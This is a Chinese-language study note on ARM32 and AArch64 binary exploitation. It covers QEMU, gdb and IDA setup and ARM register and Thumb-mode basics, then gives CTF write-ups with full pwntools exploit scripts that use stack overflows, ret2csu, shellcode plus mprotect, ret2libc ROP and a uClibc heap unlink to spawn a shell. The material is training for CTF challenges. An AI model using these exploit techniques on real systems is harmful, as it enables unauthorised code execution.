arm基础+pwn

arm_pwn环境搭建运行

环境搭建参考链接

搭建好后找一个arm_pwn文件

checksec可正常检测pwn文件关于arm架构

1
2
3
4
5
6
7
$ checksec pwnme                                                                           
[*] '/arm_pwn/pwnme'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

qemu(ai解释):

  1. 为了能运行 (Execution): 没有 QEMU 这个“翻译官”,你的 x86 电脑根本无法执行 ARM 指令,程序连第一行代码都跑不起来。
  2. 为了方便 (Convenience): 你不需要为了 pwn 一个 ARM 程序就去买一台树莓派或者其他 ARM 开发板。你可以在你最熟悉的 x86/Linux 环境下完成所有的分析和利用开发工作。
  3. 为了调试 (Debugging): 正如上一个回答提到的,QEMU 的 -g 参数可以把它变成一个 GDB 服务器,让你能够使用 gdb-multiarch 这种强大的工具去单步调试、下断点、检查内存,这对于漏洞利用来说是必不可少的。

QEMU 为异构架构的程序(比如ARM)在本地计算机(x86)上创造了一个可以运行、可以调试的完整虚拟环境。

配置好环境后我们知道arm架构的程序不能直接在本地计算机运行需要借助qemu这个虚拟环境来进行远程调试,下面将有gdb和ida的远程调试

gdb调试

先运行命令,将程序运行在1234端口

1
qemu-arm -L ./ -g 1234 ./pwn

gdb命令:

1
gdb-multiarch

运行起来后先设置架构

1
set arch arm

然后监听1234端口即可进行调试

1
target remote :1234

最后的调试就和gdb命令一样啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 //使用gdb编译 -g -o
$ gdb -g program.c(源码) -o program(可执行文件)

//启动gdb调试
$ gdb program(可执行文件名)

//运行
(gdb)start //程序运行,并停在第一行
(gdb)r //run,程序运行,遇到断点才停
(gdb)c //continue,继续运行
(gdb)n 或者 s //按照C语言行级别的单步调试,n(跟踪,不进入函数内部),s(步入,进入函数内部)
(gdb)ni 或者si //按照汇编代码行级别的单步调试

//断点
(gdb)b 函数名 //下断点 ,其他用法:b *地址;b 行号;b *函数名,断点设置在函数的开头
(gdb)i b //查看断点, info break
(gdb)d 断点编号 //删除断点
(gdb)clear 函数名/行号 //删除加在某个函数或某行的断点
(gdb)commands 断点编号 //断点后添加代码,达到自动化调试
> 代码
> end
(gdb)disable 断点编号 //设置断点无效
(gdb)enable 断点编号 //设置断点生效
(gdb)b 行号 if 条件 //设置条件断点

//显示
(gdb)disas 函数名 //disassemble,查看函数的汇编指令
(gdb)info line //查看当前位置的源代码在内存中地址,info 后面还可以加其它的,用于查看相关信息
(gdb)x/从内存地址开始要显示内存单元的个数 内存地址 //显示内存

Ctrl+X+A //进入或退出图形化调试窗口,或者在运行时使用gdb -tui 可执行文件名
(gdb)layout regs //实时显示寄存器值和源码的变化,layout后面还可以+ src(仅显示源代码窗口)/asm(仅显示汇编代码窗口)/split(显示源代码和汇编代码窗口),layout next/prev(切换窗口)
(gdb)win asm/src/split/regs +/- 行数 //调整窗口大小
(gdb)tui reg float/system/general //显示浮点寄存器/系统寄存器/通用寄存器

//查看当前代码
(gdb)l //list简写,从默认位置显示,显示当前行后面的源程序
(gdb)l 行号 //从指定行显示
(gdb)l 函数名 //从指定函数显示
(gdb)show list //显示list展示的行数
(gdb)set list 行数 //设置list展示的行数

//打印,变量
(gdb)p 变量名 //print,打印变量值
(gdb)ptype 变量名 //打印变量类型
(gdb)display 变量名 //跟踪查看一个变量,每次都停下来显示它的值
(gdb)i display //查看设置的自动变量操作
(gdb)undisplay 自动变量编号 //取消对先前设置的那些变量的跟踪
(gdb)set var 变量名 = 变量值 //设置变量
(gdb)finish //跳出函数体
(gdb)until //跳出循环

ida远程调试

在linux系统中先运行起来qemu-arm -L ./ -g 1234 ./pwn

设置debugger为Remote GDB debugger

image-20250714112054770

然后按照以下流程:debugger —-> process options —-> 填写 hostname和post —-> OK —->debugger的attach to process

即可在ida中调试对应程序

ida调试基础:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
F9:运行(在调试器中启动一个新的进程或继续调试另一个进程)
F2:设置断点
Ctrl+F2:终止调试进程
F4:执行到光标处
F7:单步步入(进入函数内部)
Ctrl+F7:执行到从当前函数返回时
F8:单步跟踪(不进入函数内部)
F5:查看伪代码
Tab:伪代码和汇编指令之间的切换
Ctrl+alt+S:打开堆栈记录窗口
Ctrl+alt+B:打开断点窗口

Esc:在反汇编窗口中,返回到上一步操作的位置
空格键:在反汇编窗口中,切换图形视图与列表视图

shift+F12:查看字符串
Alt+T:搜索字符串
Alt+B:搜索二进制序列
Ctrl+B:搜索下一个字符串/二进制序列

Alt+M:给某个地址设置标签
Ctrl+M:跳转到标签,通常配合Alt+M使用
Ctrl+W:保存IDA数据库
Ctrl+Shift+W:拍摄IDA快照

【;】:重复注释,会在所有引用到的地方都出现注释
【:】:普通注释
P:将数据转换为函数
C: 将数据转化为代码,无法识别栈帧
A:转换为字符串
D:转换为数据
U:转换为未定义数据
X:查看交叉引用
Y:修改类型
N:修改名称
G:转到指定地址
H:十进制和十六进制转换

一些小技巧

架构 关键识别词 工具链包名 (Debian/Ubuntu) 反汇编命令
64位 ARM aarch64 binutils-aarch64-linux-gnu aarch64-linux-gnu-objdump
32位 ARM ARM, EABI5 binutils-arm-linux-gnueabihf arm-linux-gnueabihf-objdump

这两个工具包包含了对应的objdump与Linux中的objdump一样

常用命令:

  • aarch64-linux-gnu-objdump -D ./test | less 分页反汇编所有段
  • objdump -f ./test 显示文件头信息
  • readelf -h ./test 显示文件头信息
  • _start即相当于_libc_start_main
1
2
3
4
5
6
7
8
9
0000000000400490 <_start>:
400490: mov x29, #0x0 // 清空帧指针
400494: mov x30, #0x0 // 清空链接寄存器
400498: ldr x1, [sp] // 从栈顶加载 argc 到 x0 (实际上是x1)
40049c: add x1, sp, #8 // 计算 argv 的地址给 x1
...
4004b0: bl 0x4006c0 <main> // 调用 main 函数
4004b4: mov w0, w19 // main 返回后,将其返回值放入 w0
4004b8: bl 0x4005e0 <exit> // 调用 exit

(注意:不同编译器和库版本,这里的实现细节会略有不同,但流程是一致的)

概念 含义 如何找到/定义
入口点 (Entry Point) OS 加载后执行的第一条指令的地址。 • 用 readelf -h 查看
• 默认标签是 _start
main 函数 C/C++ 语言的逻辑起点,被 _start 调用。 • 一个普通的函数,我们写的代码从这里开始。

arm基础知识

一篇不错的文章

arm32

碎知识

来自《ARM汇编与逆向工程》的摘要

arm的传参方式为使用r0~r3寄存器传递前4个参数,多余的参数使用栈来传递

STMFD指令可以一次性将多个寄存器按逆序压入栈里

其中主要到STMFD结尾的D,可以理解为decrease,递减。那么同理STMFA指令就是按正序将寄存器压入栈里

与STMFD对应的LDMFD,作用类似于pop,可以按顺序将数据从栈里弹出到寄存器里。

arm里没有ret指令,程序是通过将栈里的地址弹到pc寄存器,从而实现函数返回。

arm使用r0作为函数的返回值寄存器

其中str指令,可以理解为STORE REGISTER,即将寄存器的值保存到内存中。与STR指令对应的LDR,即从内存数据加载到寄存器。

arm中的mov指令,只能是寄存器与寄存器之间或寄存器与立即数之间的操作,而不能对内存进行mov操作

arm中的B指令,时无条件跳转指令,类似于x86下的jmp

而BL指令是带返回的跳转,类似于x86下的call,会将返回地址压栈

表4.4 AArch32 通用寄存器别名

寄存器编号 别名 用途
R11 FP 栈帧指针
R12 IP 子程序内部调用寄存器
R13 SP 栈指针
R14 LR 链接寄存器
R15 PC 程序计数器

表5.1 移位操作语法符号

A32/T32 A64 (32 位) A64 (64 位) 含义
Rd Wd Xd 目标寄存器
Rn Wn Xn 第一源寄存器
Rm Wm Xm 第二源寄存器
Rs Ws Xs 保存移位量的源寄存器
#n #n #n 移位量(立即数)
{Rd,} - - 可选寄存器

LDR和STR是一对相反的指令,LDR R1,[R0]将R0处的东西加载到R1,STR R1,[R0]将R1的东西加载到R0指向处

Thumb模式

ARM有两种主要的状态,ARM和Thumb模式,两种状态在所有的权限下都可以运行。

参考链接

Thumb模式是16位模式,Thumb模式是16位模式,在该模式下,32位指令将为无效指令。Thumb指令为16位。Thumb模式的存在,使得代码更紧凑,有时单的语句,thumb指令2字节完成,而arm指令4字节完成,由此可以节省空间。

Arm与thumb模式的切换,主要是改变CPSR状态寄存器里的T标志位,如图,当T标志位为1时,cpu将处于thumb工作模式,反之,处于arm模式。
image-20250714201432283

即:

img

改变CPSR状态寄存器里的T标志位,使用BX或者LDR PC等指令,都可以完成。假设addr是一个对齐后的地址(即addr末尾为4或者0),则BX addr+1就可以切换到thumb模式,而BX addr,就可以切换到arm模式。都是带状态转移的指令。

反汇编分析时,识别thumb指令与arm指令

当看到code 16声明时,说明对面的代码都是thumb指令,只有再次遇到code32位时,后面的代码才是arm指令。

code32是arm指令;code16是thumb指令

code32的指令与code16处的指令互相调用就需要利用BX或者更改PC来跳转,跳转时地址最后1bit用于状态表示

arm64

arm64里,64位寄存器用X表示,比如X0、X1、X2,32位寄存器用W表示,比如W0、W1、W2。在ARM64下,没有了thumb指令。

ARM64的传参为X0~X7传递前8给参数,剩余的用栈传递。

返回值仍是X0寄存器

程序:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>

int fun(int a,int b,int c,int d,int e,int f,int g,int h,int i,int j,int k,int l) {
printf("%d %d %d %d\n",a,b,c,d);
return 1;
}

int main() {
fun(1,2,3,4,5,6,7,8,9,10,11,12);
return 0;
}

arm的反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:0000000000400658 ; =============== S U B R O U T I N E =======================================
.text:0000000000400658
.text:0000000000400658 ; Attributes: bp-based frame fpd=0x30
.text:0000000000400658
.text:0000000000400658 EXPORT fun
.text:0000000000400658 fun ; CODE XREF: main+4C↓p
.text:0000000000400658
.text:0000000000400658 var_30 = -0x30
.text:0000000000400658 var_20 = -0x20
.text:0000000000400658 var_1C = -0x1C
.text:0000000000400658 var_18 = -0x18
.text:0000000000400658 var_14 = -0x14
.text:0000000000400658 var_10 = -0x10
.text:0000000000400658 var_C = -0xC
.text:0000000000400658 var_8 = -8
.text:0000000000400658 var_4 = -4
.text:0000000000400658
.text:0000000000400658 STP X29, X30, [SP,#var_30]!
; 保存FP(X29)和LR(X30)到栈顶,同时SP -= 0x30
.text:000000000040065C MOV X29, SP; 设置新栈帧基址(X29 = SP)
; 将寄存器参数存入栈帧(ARM64规则:前8个参数用W0-W7传递)
.text:0000000000400660 STR W0, [X29,#0x30+var_4] ; 保存参数到栈 [X29-4]
.text:0000000000400664 STR W1, [X29,#0x30+var_8]
.text:0000000000400668 STR W2, [X29,#0x30+var_C]
.text:000000000040066C STR W3, [X29,#0x30+var_10]
.text:0000000000400670 STR W4, [X29,#0x30+var_14]
.text:0000000000400674 STR W5, [X29,#0x30+var_18]
.text:0000000000400678 STR W6, [X29,#0x30+var_1C]
.text:000000000040067C STR W7, [X29,#0x30+var_20]
.text:0000000000400680 ADRL X0, aDDDD ; "%d %d %d %d\n"
; 加载格式字符串地址 "%d %d %d %d\n" 到 X0(参数1)
.text:0000000000400688 LDR W4, [X29,#0x30+var_10]; 从栈加载第4个参数到 W4(参数5)
.text:000000000040068C LDR W3, [X29,#0x30+var_C]
.text:0000000000400690 LDR W2, [X29,#0x30+var_8]
.text:0000000000400694 LDR W1, [X29,#0x30+var_4]
.text:0000000000400698 BL printf ; 调用 printf(X0, X1, X2, X3, W4)
; === 函数退出 ===
.text:000000000040069C MOV W0, #1 ; 设置返回值 W0 = 1
.text:00000000004006A0 LDP X29, X30, [SP+0x30+var_30],#0x30 ; 恢复FP/LR,同时 SP += 0x30
.text:00000000004006A4 RET ; 返回调用处(跳转到 LR 保存的地址)
.text:00000000004006A4 ; End of function fun
.text:00000000004006A4

ARM64里ADRP寻址,使用ADRP将目标的页地址存入寄存器,然后使用add加上offest,从而获得目标地址

ARM64新增了ret指令,但是ret并不会从栈里弹出一个数据到pc中。ret指令会将Ir寄存器(X30)的值赋给pc。

因此,一般函数结尾可以看到这两句,其中X29类似于x86下的rbp。X30是LR寄存器,ret就是将x30的值赋给pc,从而实现返回

image-20250714210630341

漏洞利用

在x86下的各种思想,同样使用于arm。

通过csu控制多个寄存器,并调用对应的函数

arm下的堆的性质取决于libc,如果是glibc那么以前的手法都是用,如果是其它libc,也可以自行调试,发现性质。

架构 等价于 ebp/rbp 的寄存器 官方名称/常用别名
arm32 (A32/T32) R11 fp (Frame Pointer)
aarch64 (A64) X29 fp (Frame Pointer)

例题学习

root_me_stack_buffer_overflow_basic

自己整的题,保护:

1
2
3
4
5
6
7
8
9
Arch:       arm-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled on new kernels
PIE: No PIE (0x10000)
Stack: Executable
RWX: Has RWX segments
FORTIFY: Enabled
Stripped: No

可以注入shellcode到bss段,在跳转过去执行

反汇编如下,很明显的可以看到scanf没有进行输入限制,存在溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *s_1; // r5
size_t v4; // r4
int v5; // t1
int n15; // r6
char n121; // [sp+7h] [bp-A9h] BYREF
char s[168]; // [sp+8h] [bp-A8h] BYREF

setvbuf((FILE *)_bss_start, 0, 2, 0);
n121 = 121;//'y'
do
{
_printf_chk(1, "Give me data to dump:\n");
if ( scanf(" %[^\n]s", s) ) //scanf()溢出
{
s_1 = s;
v4 = 0;
while ( strlen(s) > v4 )
{
while ( 1 )
{
n15 = v4++ & 0xF;
if ( !n15 )
_printf_chk(1, "%p: ", s_1);
v5 = (unsigned __int8)*s_1++;
_printf_chk(1, " %02x", v5);
if ( n15 != 15 )
break;
_printf_chk(1, "\n");
if ( strlen(s) <= v4 )
goto LABEL_9;
}
}
}
LABEL_9:
_printf_chk(1, "\nDump again (y/n):\n");
}
while ( scanf(" %c", &n121) && (n121 & 0xDF) == 0x59 );
return 0;
}

这道题的思路是我们通过csu来控制流程,执行函数,如图:

image-20250715164602158
特性 call (Intel x86) BL (ARM 32-bit) BLX (ARM 32-bit)
主要功能 子程序调用 子程序调用 子程序调用并切换状态
返回地址存储 压入 存入链接寄存器 (LR) 存入链接寄存器 (LR)
指令集切换 不适用 (保持当前状态) (根据目标地址的最低位决定)
典型用途 所有函数调用 调用同一指令集的函数 在 ARM 和 Thumb 代码间互相调用

但是呢在csu处的前面我们可以发现它是CODE16说明csu处的指令是thumb模式,如下图可说明:

image-20250715164716861

因为csu处是thumb指令所有我们肯定不能直接控制pc到0x10610处调用,而是0x10611后面的那个1并不是地址里面的而是一个标志位(改变CPSR状态寄存器里的T标志位),就是前面那张图片中State bit(工作状态)设置为1

总体思路:

最终exp,就是一个ret2csu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf8
from pwn import *

context(os='linux',arch='arm')

elf = ELF('./root_me_stack_buffer_overflow_basic_20210901_115841')
scanf_got = elf.got['scanf']
bss = 0x00021008 + 0x100
csu_pop = 0x00010610
csu_call = 0x000105FE
sh = process(argv=['qemu-arm','-L','/usr/arm-linux-gnueabihf','./root_me_stack_buffer_overflow_basic_20210901_115841'])
#sh = process(argv=['qemu-arm','-g','1234','-L','./','./root_me_stack_buffer_overflow_basic_20210901_115841'])
# 目标:调用 scanf(format, bss_addr),其中 format 是我们输入的 shellcode
# scanf 的原型是 scanf(const char *format, ...);
# R0 = format_string_address
# R1 = address_to_write_to
# ... 其他参数================>>> R3(R0,R1...)

# 我们需要控制的寄存器:
# R0 -> "我们发送的shellcode" (这比较难直接控制,但 scanf 可以从标准输入读取)
# R1 -> bss (一个可写的内存地址,用来存放 shellcode)
# R7 -> R0 -> 调用 scanf 时,R7 需要是 scanf 的第一个参数。这里利用 R7 来控制 R0。
# 但是 scanf 的第一个参数是格式化字符串,我们希望它能接收任意字符,
# 可以找一个指向类似 "%s" 或能接收输入的地址,或者更巧妙地,利用 scanf 自身特性。
# 这里 exp 的作者选择了一个更简单直接的方式:利用 scanf 的返回值,
# 并构造一个 ROP 链来调用它。
# 不过这里的payload的目的是调用 scanf(0x00010644, bss)。
# 查看 0x00010644 的内容可能是一个格式化字符串。
# R8 -> R1 -> bss (用来存放 shellcode 的地址)
# R9 -> R2 -> 这里用不到第三个参数,设为 0
# R5 -> scanf_got (scanf 函数在 GOT 表中的地址,LDR.W R3, [R5] 会把 scanf 的真实地址加载到 R3)
# R6 -> 1 (用于跳出循环)
# R4 -> 0 (初始值,在 csu_call 中加 1 后会等于 R6,从而跳出循环)
# R3 -> 我们要调用的函数
payload = b'a'*0xA4 + p32(csu_pop + 1) #切换到Thumb模式,bit0 = 1
payload += p32(0) #R3
payload += p32(0) #R4
payload += p32(scanf_got) #R5
payload += p32(1) #R6
payload += p32(0x00010644) #R7
payload += p32(bss) #R8
payload += p32(0) #R9
payload += p32(csu_call + 1) #Thumb模式,bit0 = 1

payload += p32(0)*0x7
payload += p32(bss) #执行shellcode

sh.sendlineafter(b'dump:',payload)
sh.sendlineafter(b'Dump again (y/n):',b'n')
sh.sendline(asm(shellcraft.sh()))

sh.interactive()

task

64位arm的ret2csu

程序源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

char name[0x60];

void fun() {
puts("what do you want to say:");
char buf[0x20];
read(0,buf,0x100);
}

int main() {
puts("welcome to haivk's class");
puts("what is your name:");
read(0,name,0x60);
fun();
}

思路(根据前面arm64知识中的栈结构可知,我们溢出只能修改调用函数的返回地址):

  1. 第一次输入放入shellcode和mprotect()的地址
  2. 第二次输入栈溢出,布局寄存器的值
  3. getshell

image-20250716181619125

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf8
from pwn import *

context(os='linux',arch='aarch64')

#sh = process(argv=['qemu-aarch64','./task'])
sh = process(argv=['qemu-aarch64','-g','1234','./task'])
bss = 0x0000000000490440
read_addr = 0x0000000000416930
mprotect_addr = 0x0000000000417370
csu_ld = 0x0000000000400DC4
csu_call = 0x0000000000400DA4

payload = p64(mprotect_addr) + asm(shellcraft.sh())
sh.sendlineafter(b'name:',payload)

payload = b'a'*0x28 + p64(csu_ld)
payload += p64(0) + p64(csu_call) #x29 x30
payload += p64(0) + p64(bss) #x19 x20
payload += p64(0x60) + p64(0x7) #x21 x22
payload += p64(1) + p64(bss) #x23 x24
#x24(x20,x21,x22) == mprotect(bss, 0x60, 7) == x3(w0,x1,x2)
#x29 x30
payload += p64(0) + p64(bss + 8)

sh.sendlineafter(b'say:',payload)

sh.interactive()

pwnme

arm的堆题

核心就是看装载的libc的是哪种,若是glibc那就正常打,还有其它的libc如uClibc它和glibc内存分配规则一样,还有其他的就根据libc的chunk分配规则来做题

下面是一道arm 堆题的exp,漏洞是堆溢出,手法:unlink,总统看上去和glibc的脚本一样

所以arm的堆题就是换汤不换药,arm架构主要还是栈的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding:utf8
from pwn import *

#sh = process(argv=['qemu-arm','-g','1234','-L','./','./pwnme'])
sh = process(argv=['qemu-arm','-L','./','./pwnme'])
elf = ELF('./pwnme')
puts_got = elf.got['puts']
free_got = elf.got['free']
libc = ELF('./libuClibc-1.0.34.so')

def show():
sh.sendlineafter(b'>>>',b'1')

def add(size,content):
sh.sendlineafter(b'>>>',b'2')
sh.sendlineafter(b'Length:',str(size))
sh.sendafter(b'Tag:',content)


def edit(index,size,content):
sh.sendlineafter(b'>>>',b'3')
sh.sendlineafter(b'Index:',str(index))
sh.sendlineafter(b'Length:',str(size))
sh.sendafter(b'Tag:',content)

def delete(index):
sh.sendlineafter(b'>>>',b'4')
sh.sendlineafter(b'Tag:',str(index))

def Exit():
sh.sendlineafter(b'>>>',b'5')

add(0x80,b'a'*0x80) #0
add(0x80,b'b'*0x80) #1
add(0x10,b'c'*0x10) #2

heap_ptr0_addr = 0x0002106C
payload = p32(0) + p32(0x81)
payload += p32(heap_ptr0_addr-0xC) + p32(heap_ptr0_addr-0x8)
payload = payload.ljust(0x80,b'a')
payload += p32(0x80) + p32(0x88)
edit(0,0x88,payload)
#unlink
delete(1)
edit(0,0x80,p64(0) + p32(0x8) + p32(puts_got) + p32(0x8) + p32(free_got) + p32(0x8) + p32(0x00021068))
show()
sh.recvuntil(b'0 : ')
uclibc_base = u32(sh.recv(4)) - libc.sym['puts']
system_addr = uclibc_base + libc.sym['system']
binsh_addr = uclibc_base + libc.search('/bin/sh').next()
print('uclibc_base=',hex(uclibc_base))
print('system_addr=',hex(system_addr))
print('binsh_addr=',hex(binsh_addr))
edit(1,0x4,p32(system_addr))
edit(2,0x8,b'/bin/sh\x00')
#getshell
delete(2)

sh.interactive()

ctfshow

pwn346

arm32栈溢出,有后门函数

漏洞函数:

1
2
3
4
5
6
7
8
9
10
int ctfshow()
{
int v0; // r3
_BYTE buf[24]; // [sp+4h] [bp-18h] BYREF

memset(buf, 0, 20);
printf("Please enter your input: ");
read(0, buf, 0x64u);//溢出
return v0;
}

这里发现一些小技巧

关于arm文件调试:

  • 直接用exp.py脚本调试,就是用pwntools的库配合gdb来调试,这样的话就会显示出bl #read@plt 这样的看着比较清晰、舒服,而且直接gdb运程监听会进入到这个函数内部(个人感觉比较无用)
  • arm也可以用cyclic -l 字符这样的方式来测试溢出长度,但还是要以实际调试的为准

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-07-17 11:01:27
from pwn import *
import time
import struct

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='arm')

file_name = './pwn'
if args['G']:
p = remote('pwn.challenge.ctf.show',28163)
else:
p = process(argv=['qemu-arm','-L','/usr/arm-linux-gnueabihf','./pwn'])
#p = process(argv=['qemu-arm','-g','1234','-L','/usr/arm-linux-gnueabihf','./pwn'])

elf = ELF(file_name)
#libc = elf.libc
# libc = ELF('libc-2.23.so')
# gdb.attach(target=("localhost", 1234), exe=elf.path,gdbscript='''
# b *0x0001054C
# b *0x00010550
# ''')

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)

backdoor = elf.symbols['backdoor']
sla(b'Please enter your input:', b'a'*24 + p32(backdoor))

itr()

pwn347

arm32,rop

1
2
3
4
5
6
7
8
9
le0n:pwn347/ $ checksec pwn                                                                               
[*] '/home/le0n/challenge/ctfshow/pwn347/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
Stripped: No
Debuginfo: Yes

漏洞依旧是栈溢出,只不过这次要进行arm32的ret2libc

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
return 0;
}

ropper查询gadgets,这个pop {r3, pc};可以和下面的万能gadget配合使用

1
2
3
4
5
6
7
8
9
(pwn/ELF/ARM)> search pop
[INFO] Searching for gadgets: pop
[INFO] File: pwn
0x00010548: pop {r11, pc};
0x000103a4: pop {r3, pc};
0x00010500: pop {r4, pc};
0x000106bc: pop {r4, r5, r6, r7, r8, r9, r10, pc};
0x000106bc: pop {r4, r5, r6, r7, r8, r9, r10, pc}; muleq r1, r8, r8; muleq r1, r0, r8; bx lr;
0x000104f0: popne {r4, pc}; bl 0x47c; mov r3, #1; strb r3, [r4]; pop {r4, pc};

查阅一些资料发现前面一直用的csu的gadgets好像可以充当我想要的gadgets,事实也是这样csu的这段gadget被称为万能gadget。

思路:

  1. 通过puts来泄露libc基地址(备用printf),程序要导回ctfshow()函数
  2. 计算system,bin/sh
  3. 再溢出来执行system

有思路开干,因为puts和syste都只有一个函数所以试一下这段:

image-20250717155011131

exp(只能打通本地,远程不知道那个libc,泄露的地址也查不出来,呜~~):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
printf_got = elf.got['printf']
ctfshow = elf.symbols['ctfshow']
pop_r3_pc = 0x000103a4
# csu_bl = 0x0001069C
mov_r0r7_blxr3 = 0x000106ac
csu_pop = 0x000106BC #只需要设置R7 = 参数、R6 = 1和R3 = got
payload = b'a'*132 + p32(csu_pop)
# payload += p32(0)*3 + p32(puts_got) #r7
payload += p32(0)*3 + p32(printf_got) #r7
payload += p32(0)*3 + p32(pop_r3_pc) #pc
payload += p32(puts_plt) #r3在栈上的
payload += p32(mov_r0r7_blxr3)
payload += p32(0)*7
payload += p32(ctfshow)
sla(b"$ ",payload)
puts_addr = uu32()
leak('puts', puts_addr)
libc_base = puts_addr - libc.symbols['printf']
leak('libc_base', libc_base)
system = libc_base + libc.sym['system']
leak('system', system)
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
leak('binsh', binsh)
# getshell
payload = b'a'*132 + p32(csu_pop)
payload += p32(0)*3 + p32(binsh) #r7
payload += p32(0)*3 + p32(pop_r3_pc) #pc
payload += p32(system) #r3在栈上的
payload += p32(mov_r0r7_blxr3)
sla(b"$ ",payload)

itr()

pwn349

同pwn346一样,有后门写一下后门的地址到main()函数的x30即可

pwn350